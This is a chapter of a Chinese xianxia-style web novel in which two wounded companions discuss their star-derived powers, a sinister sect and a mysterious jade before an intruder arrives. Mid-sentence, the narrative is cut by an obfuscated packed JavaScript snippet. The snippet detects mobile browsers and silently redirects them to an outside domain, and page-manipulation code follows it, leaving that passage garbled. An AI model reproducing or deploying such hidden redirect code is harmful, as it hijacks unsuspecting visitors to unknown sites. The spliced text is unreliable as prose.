地底喵 作品
53. 共鸣
林灿正在包扎伤口的手一顿,抬眼看向付一。
虽仍是直溜溜地躺在地上动弹不得,但付一看向她的目光多了几分莫名的情绪。
林灿沉默不语,两人轻微的呼吸伴随着暗河的层层水流声,林灿朝付一的方向摊开掌心。
“嘭!”
付一被她吓得一激灵,扯到了身上的伤口,龇牙咧嘴地哈气。
林灿笑了几声,却因为被付一伤了喉咙开始咳嗽,她用手指轻擦过喉咙上的红痕,用气声问道:“神祈是什么?”
看林灿伤得不轻,付一神色有些懊悔,他捂着伤处勉强自己坐起身,一只手支着地一只手从怀中掏出一个八卦罗盘。
随着他的屏息,手中的罗盘升起的雾气逐渐凝水成珠,绕着付一手臂上的伤口,血色渐敛,他的伤口竟开始缓慢地愈合,可没多久,水流散去,付一重新力竭摔倒在地,手中的罗盘也随之被迫扔在一旁。
他大口喘着粗气,似乎那股力量有些孱弱,并不足以缓解陨铁剑带来的重伤,亦或是对陨铁剑的伤口有些无可奈何。
林灿坐在原地,斜倚着王座,直视着付一的动作。
“你的神祈为何如此孱弱?”
“说来话长,我觉醒尾宿神祈已过去十年之久。”
这话让林灿诧异不已,“十年?”
付一轻微地点点头,“一切都归因于我八岁那年的一场浩劫。”他语气平淡,仿佛在讲述一个不相干的人,他将目光移向远处的陨铁剑,“我八岁那天,天降异石,这陨铁剑便是那天石的一部分铸造而成。”
陨铁剑因为饮到了付一的鲜血,此刻更是红得发亮,可原本发烫的温度却渐渐降了下去,林灿捡起刚才掉落在手边的陨铁刃,在手中掂了几下,重新收入袖中。
“怪不得这剑的力量如此神奇。”
“尾宿神祈就是跟那块天石一起降临的。从那时起,我所受的大大小小的伤口总是能莫名其妙地痊愈,一开始我以为这是一种恩赐。”付一说着在指尖缓缓凝成一个晶莹剔透的水珠,“这种龙蛇之力,总是能让我一度化险为夷。”
“你可还记得杨家庄的那只蛊雕?”
“记得。我差点被它杀死。”林灿点点头,回忆道。
“那时你血液差点被抽干,也是用尾宿神祈炼化的药救了你一命,那药这么多年仅练得一粒。”付一提起此事,目光柔和地看向林灿,温柔地笑道:“那一刻我就在想,或许我的神祈存在的价值就在这里。”
“所以你的神祈如此孱弱是因为多年以身炼药的缘故?”林灿重新走回付一的身边,想要去号他的脉搏,却被付一轻轻地躲过。
林灿强硬地拉过他的手腕,搭上他的脉搏,付一的脉此刻像一条将断未断的游丝,时隐时现,需屏住呼吸才能捕捉到那细弱的跳动,可细探来却并无性命之危。
她松了口气,阴阳怪气道:“这救命之恩你一报我一报,咱俩一见面铁定有血光之灾,是不是互相克彼此啊,不能总这样玩命啊,哪天给自己玩死了,去阎王殿里报恩啊。”
付一看着林灿搭在自己腕上纤细柔软的手指,听着她的嘟囔,轻笑道:“我竟不知你如此多才,这行医号脉之事也懂得。”
林灿甩开他的手,扭过脸去,语气变得凄切:“我有个混江湖的大哥说行走江湖,会点医术关键时刻可自保。哎,我那大哥······”
付一打断了她的做戏,“好了好了,我知晓你大哥之事,莫要再提了。”
林灿止住了话茬,继续问道:“你既觉醒神祈多年,可听说过一个传闻?”
“什么传闻?”
“觉醒神祈之人活不过三十岁。”
付一皱眉问道:“你从何处听来的?”
“顾青羽,也就是箕宿星官,他临死前说的。”林灿回道。
“顾青羽死了?”付一有些惊讶。
林灿点点头,摸了摸鼻子,“怎么说呢?虽然不是我杀的,但是确实是在我眼前丢了性命。你这么大反应,跟他认识?”
“他是栖霞城烜赫一时的才子,多年前曾有过一面之缘,可却不知他何时成为箕宿星官的。”付一继续说道:“我从未听说过活不过三十岁的事情。”
“哦,那可能他被葬星阁给骗了。”林灿走到王座面前,伸手摸上王座上镌刻的纹路,扶手侧的纹章赫然与葬星阁的十分相像。
“我父母被杀,我怀疑与葬星阁有关,这王座上的纹章与葬星阁之人身上的印记极为相似。我怀疑葬星阁恐怕跟此处有某种联系。刚才你拿着短剑入了魔障,嘴里一直念叨着一些我听不懂的咒语。”
提到葬星阁,付一的神色微变。
林灿闭上了眼睛,努力回忆刚才混乱之中的词句。
“血归玄土,魂献苍穹,以身殉天,才能换得神明垂眷······”
“以身殉天。”她反复念叨着,忽然想起在洞穴的古战场处看到的一些画面,那坐于高台之上的人和跪在地上的女子,“难道是要让那女子以身殉天?”
林灿福灵心至,立刻从怀中掏出古星图,却并未摊开来,而是从中空的轴杆中掏出那块指节大小的金丝玉,她比对着王座上的纹章。
“一模一样。”
付一总算是从躺尸的状态中恢复了一点,艰难地往前爬了几步,凑过来看,“这玉又是从何而来?”
林灿并不搭话,只扶起付一,纠结了半晌,叹了口气,“你坐地上吧,我怕把你扶上王座,你又有了什么反应,就真的没救了。”
付一无奈地笑了笑,表示赞同。
林灿继续问道:“你刚才有感受到什么残像之类的东西吗?”
付一仔细回想了一下,说道:“其实自我进入这洞穴之后,体内的神祈就一直躁动不安,我从石座之中拔出短剑后,心脉有一阵刺痛,只看着你格外的熟悉,像是看见了某个人,瞬间便直接失了意识,后面就记不清楚了,再之后便是你助我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777165|166826||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
清醒过来的事情了。”
“熟悉的人?”林灿想了想,捏紧了那块金丝玉,凝神将体内神祈调动出来,玉中金丝刚开始是微弱的星芒,随着神祈之力的注入,瞬间星芒乍开。
林灿和付一看到了一个被绳索捆绑,跪在地上的女子。“何夫人?”
“何夫人?”付一有些困惑地看向林灿。
林灿待看清了女子的面容,又摇头否认道:“不对,这人面孔与何夫人有几分相似,却并不是她。”
“这里明显有百来年的历史,何夫人不可能是如此长寿之人,难道是何夫人的祖先?”林灿在心中暗自琢磨着。
“那这古星图便是这一族流传下来的物品了。这族人与葬星阁又有何关系呢?”林灿一时摸不着头脑。
忽而,坛下传来溯溟一声高叫。林灿眯起眼,借着微弱的天光远远望去,只见石坛下方的水边,正有一团黑影伫立不动。
“不好,有人?!”她脱口而出。
林灿迅速将陨铁剑塞进了付一的手中,低声道:“你自保,我去看看。”
话音未落,付一便伸手拉住了林灿的手,“等等。”
他执剑的手微微一紧,话语里带着一丝焦灼,“你刚才受了伤,若那人心怀不轨,你孤身前去,岂不是以卵击石?”
林灿愣了一下,微微侧头望他。“那怎么办?”
“借我点东西!”
不等林灿反应过来,付一骤然一拉,两人之间的距离迅速拉近,林灿的秀发被带起拂过付一的脸颊,她身上的草药清香让血腥气都淡化了些。
双目对视,气息交缠,林灿仿佛听见彼此近在咫尺的心跳声。付一低头靠得更近,肩侧垂下的发丝与林灿的交叠在一起,声音贴着她的耳廓响起,呼出的热气撩动得她耳尖发烫。
付一低声说道:“借我一点神祈的力量。”
林灿刚张了张唇,话未出口,体内神祈便似被某种力量牵动,两人周身灵气共鸣,命脉在彼此回应。
下一瞬,鬼宿神祈如灵蚕吐丝般迅速渗入了付一的体内,顺着他体内尾宿神祈震荡出的纹路盘绕而上,陨铁剑在付一手中微微颤鸣,两股神祈交融,在付一心口凝成一个一道坚韧的护心结。
付一弯起嘴角,笑意隐隐,拉开了两人的距离,撑着陨铁剑站了起来,感受着体内缓慢恢复的力气。
“这样也可护你几分。”
林灿一怔,脸颊迅速染上绯红,收回散出的神祈,猛地瞪他一眼,嘴角却控制不住地上扬。
而那团黑影已经开始攀上了石阶。
“来了。”
付一的声音低沉而清晰,他手持陨铁剑,身形微倾,护在林灿身前。林灿没有再多言,风眠已然出现在掌中,她指尖轻抚弓弦,箭光未现,杀意已凝。
那黑影登阶的速度并不快,却浑身散着戾气与阴冷。
林灿目光紧锁那团黑影,瞳孔微缩。
“竟是摘星楼的那个海女!”